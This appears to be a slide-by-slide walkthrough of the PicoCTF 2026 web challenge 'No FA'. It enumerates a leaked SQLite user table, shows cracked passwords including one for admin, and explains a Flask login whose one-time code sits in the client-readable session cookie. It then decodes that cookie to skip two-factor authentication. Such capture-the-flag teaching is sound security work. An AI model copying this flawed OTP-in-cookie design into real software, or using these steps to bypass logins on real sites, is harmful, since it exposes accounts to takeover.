

PicoCTF 2026 – No FA

No FA

Web Exploitation

Medium

200 pts 3,088 solves

by Darkraicg492

Seems like some data has been leaked! Can you get the flag?

You can get started [here](#) to find the flag!

The application code can be found [here](#).

The leaked data can be found [here](#).

In this challenge, we are given a database file to inspect, the source code for the web app, and asked to compromise the website

PicoCTF 2026 – No FA

SQLite Database Enumeration

```
└─$ sqlite3 users.db  
SQLite version 3.46.1 2024-08-13 09:16:08  
Enter ".help" for usage hints.  
sqlite> .tables  
users
```

We can use the SQLite program to enumerate the database for useful information

PicoCTF 2026 – No FA

SQLite Database Enumeration

```
sqlite> select username,password from users;  
john.doe:599a4410e2af69d1585f16d82d4b5f0abf3a  
jane.smith:81c68634d1b211e0d5632839f7efc8601c  
robert.jones:aaf120fcb16e20e2d18e63e668e060b5
```

In the database, we see that there are user password hashes, so we can attempt to crack them

PicoCTF 2026 – No FA

SQLite Database Enumeration

```
Press 'q' or Ctrl-C to abort,  
apple123                (john.doe)  
apple@123                (admin)
```

We discover the password of the admin user, but
there's a problem...

PicoCTF 2026 – No FA

Web App 2FA Implementation

```
if user['two_fa']:
    # Generate OTP
    otp = str(random.randint(1000, 9999))
    session['otp_secret'] = otp
    session['otp_timestamp'] = time.time()
    session['username'] = username
    session['logged'] = 'false'
    # send OTP to mail —
    return redirect(url_for('two_fa'))
```

There is two-factor authentication function in the login process in the app, which means that the user has to input an additional number before logging in

PicoCTF 2026 – No FA

Web App 2FA Implementation

```
if user['two_fa']:
    # Generate OTP
    otp = str(random.randint(1000, 9999))
    session['otp_secret'] = otp
    session['otp_timestamp'] = time.time()
    session['username'] = username
    session['logged'] = 'false'
    # send OTP to mail —
    return redirect(url_for('two_fa'))
```

There is two-factor authentication function in the login process in the app, which means that the user has to input an additional number before logging in

PicoCTF 2026 – No FA

Web App 2FA Implementation

```
if user['two_fa']:
    # Generate OTP
    otp = str(random.randint(1000, 9999))
    session['otp_secret'] = otp
    session['otp_timestamp'] = time.time()
```

However, there is a big flaw in the implementation of the 2FA: namely that the 2FA code is included in the cookie given to the user before logging in

PicoCTF 2026 – No FA

Web App 2FA Implementation

```
$ python decode_flask_cookie.py ".eyJwt  
hnr50cGiM1bhJNlWq7JKCbYRvWFvuRDSRWeF0V  
{  
  "logged": "false",  
  "otp_secret": "8013",
```

That means that when the 2FA code is supposed to be entered, the user can decode the Flask cookie and extract the 2FA code, eliminating the need for access to the user's email